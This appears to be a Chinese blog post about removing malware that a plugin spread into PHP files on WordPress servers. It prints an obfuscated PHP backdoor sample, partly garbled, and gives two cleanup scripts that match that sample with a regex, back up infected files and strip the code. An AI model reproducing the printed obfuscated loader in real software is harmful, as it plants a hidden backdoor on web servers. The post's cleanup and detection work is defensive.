PHP实现清除wordpress里恶意代码

公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。

恶意代码示例

代码 代码如下:<?php if(!isset($GLOBALS["x61156x75156x61"])) { $ua=strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]); if ((! strstr($ua,"x6d163x69145")) and (! strstr($ua,"x72166x3a61x31"))) $GLOBALS["x61156x75156x61"]=1; } ?<?php $bssaiikhvn = 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NULL); }ovg<~%x5c%x7824<!%x5c%x7825o:!!%x5c%x7824c%x7825c!!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cI#64y]552]e7y]#n%x5c%x7825<#3722!!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppdeu%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function 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&& (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825::r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5g!)%x5c%x7825z2*!%x5c%x7825z3<!f825)tpqsutj%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^<!%x5c%x7825w%jfgg($n){return chr(ord($n)-1);} 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$wzmdmzzyol = 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$yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<(sizeof($vawbzzfouj)/2);$ipzagsxozk++) { $goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk*2)],$vawbzzfouj[($ipzagsxozk*2)+1]); } return $goicwhrdcc; };} $urvbwkljhb="x2057x2a40x67150x6a145x73165x77166x7a146x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3167x3555x3163x3851x2954x20143x68162x2850x3567x3255x3470x3051x2954x20142x67147x62142x6a166x77147x7150x24167x7a155x64155x7a172x79157x6c54x24142x73163x61151x69153x68166x6e51x2951x3b40x2f52x20153x6d151x73166x7a161x63153x6840x2a57x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?

恶意代码清理程序

<?php /** * 文件名：delUnwantedCode.php * 功能：删除FTP里恶意代码 * 使用说明： *   请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份 */$path = dirname(__FILE__); #定义需要处理的目录$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');  #定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录$fileType = array('php');  #定义需要处理的文件类型（后缀名），小写$search = array('@<?phps*if(!isset($GLOBALS["\x61\156\x75\156\x61"])).*$bssaiikhvn=$jtgibaqypx-1;s*?@si');  #定义需要过滤的恶意代码规则$search_count = array(  'all_file'=array(), #所有文件  'search_file0'=array(),   #没有恶意代码文件  'search_file1'=array() #含有恶意代码文件);$filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表if(!empty($filelist)){  foreach ($filelist as $file){    $file = (isset($file['name'])?$file['name']:$file);    $search_count['all_file'][] = $file;    $fileContent = file_get_contents($file);    $compile_fileContent = preg_replace($search, '', $fileContent);    if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){      #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）      $search_count['search_file1'][] = $file;             ############备份原有文件 开始###############      $bakFile = str_replace($path, $bak_path, $file);      @make_dir(dirname($bakFile));      @file_put_contents($bakFile, $fileContent);      ############备份原有文件 结束###############             #重新写入过滤后的内容到原有的PHP文件      @file_put_contents($file, $compile_fileContent);    }else{      $search_count['search_file0'][] = $file;    }  }} #print_r($search_count);die;echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码，已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;########################## 辅助函数######################## /** * 检查目标文件夹是否存在，如果不存在则自动创建该目录 * * @access   public * @param    string   folder   目录路径。不能使用相对于网站根目录的URL * * @return   bool */function make_dir($folder){  $reval = false;  if (!file_exists($folder)){    #如果目录不存在则尝试创建该目录    @umask(0);     #将目录路径拆分成数组    preg_match_all('/([^/]*)/?/i', $folder, $atmp);     #如果第一个字符为/则当作物理路径处理    $base = ($atmp[0][0] == '/') ? '/' : '';     #遍历包含路径信息的数组    foreach ($atmp[1] AS $val){      if ('' != $val){        $base .= $val;        if ('..' == $val || '.' == $val){          #如果目录为.或者..则直接补/继续下一个循环          $base .= '/';          continue;        }      }else{        continue;      }       $base .= '/';       if (!file_exists($base)){        #尝试创建目录，如果创建失败则继续循环        if (@mkdir(rtrim($base, '/'), 0777)){          @chmod($base, 0777);          $reval = true;        }      }    }  }else{    #路径已经存在。返回该路径是不是一个目录    $reval = is_dir($folder);  }   clearstatcache();   return $reval;}########获取目录下所有文件，包括子目录 开始################function listDir($path,$fileType=array(),$fileInfo=true){  $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);  if(!file_exists($path)||!is_dir($path)){    return '';  }  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){    $path = substr($path, 0,-1);  }  $dirList=array();  $dir=opendir($path);  while($file=readdir($dir)){    #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过    if($file!=='.'&&$file!=='..'){      $file = $path.DIRECTORY_SEPARATOR.$file;      if(is_dir($file)){        if(empty($fileType)){          $dirList[] = ($fileInfo==true?array('name'=$file,'isDir'=intval(is_dir($file))):$file);        }        $dirList = array_merge($dirList,listDir($file,$fileType));      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){        $dirList[] = ($fileInfo==true?array('name'=$file,'isDir'=intval(is_dir($file)),'md5_file'=md5_file($file),'filesize'=filesize($file),'filemtime'=filemtime($file)):$file);      }    };  };  closedir($dir);  return $dirList;}########获取目录下所有文件，包括子目录 结束################

删除FTP里恶意代码(支持任意数量的文件处理)

<?php /** * 文件名：delAllUnwantedCode.php * 功能：删除FTP里恶意代码(支持任意数量的文件处理) * 使用说明： *   请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份 */set_time_limit(0);ignore_user_abort(true);$path = dirname(__FILE__); #定义需要处理的目录$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php');  #定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录$fileType = array('php');  #定义需要处理的文件类型（后缀名），小写$search = array('@<?phps*if(!isset($GLOBALS["\x61\156\x75\156\x61"])).*$bssaiikhvn=$jtgibaqypx-1;s*?@si');  #定义需要过滤的恶意代码规则$file_count = array(  'all_file'=0,  #所有文件  'filter_file'=0   #含有恶意代码文件);replaceUnwantedCode($path); #执行过滤#print_r($search_count);die;echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码已清理，原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;function replaceUnwantedCode($path){  global $bak_path,$fileType,$search,$file_count;  $path = str_replace(array('/','\'), DIRECTORY_SEPARATOR, $path);  if(!file_exists($path)||!is_dir($path)){    return '';  }  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){    $path = substr($path, 0,-1);  }  $dir=opendir($path);  while($file=readdir($dir)){    #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过    if($file!=='.'&&$file!=='..'){      $file = $path.DIRECTORY_SEPARATOR.$file;      if(is_dir($file)){        replaceUnwantedCode($file);      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){        ################################        @$file_count['all_file']++;        $fileContent = file_get_contents($file);  #文件原始代码        $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容        if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){          #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）          $file_count['filter_file']++;                       ############备份原有文件 开始###############          $bakFile = str_replace($path, $bak_path, $file);          @make_dir(dirname($bakFile));          @file_put_contents($bakFile, $fileContent);          ############备份原有文件 结束###############                       #重新写入过滤后的内容到原有的PHP文件          @file_put_contents($file, $compile_fileContent);        }        ################################        unset($fileContent,$compile_fileContent);      }    };  };  closedir($dir);  return true;}########################## 辅助函数######################## /** * 检查目标文件夹是否存在，如果不存在则自动创建该目录 * * @access   public * @param    string   folder   目录路径。不能使用相对于网站根目录的URL * * @return   bool */function make_dir($folder){  $reval = false;  if (!file_exists($folder)){    #如果目录不存在则尝试创建该目录    @umask(0);     #将目录路径拆分成数组    preg_match_all('/([^/]*)/?/i', $folder, $atmp);     #如果第一个字符为/则当作物理路径处理    $base = ($atmp[0][0] == '/') ? '/' : '';     #遍历包含路径信息的数组    foreach ($atmp[1] AS $val){      if ('' != $val){        $base .= $val;        if ('..' == $val || '.' == $val){          #如果目录为.或者..则直接补/继续下一个循环          $base .= '/';          continue;        }      }else{        continue;      }       $base .= '/';       if (!file_exists($base)){        #尝试创建目录，如果创建失败则继续循环        if (@mkdir(rtrim($base, '/'), 0777)){          @chmod($base, 0777);          $reval = true;        }      }    }  }else{    #路径已经存在。返回该路径是不是一个目录    $reval = is_dir($folder);  }   clearstatcache();   return $reval;}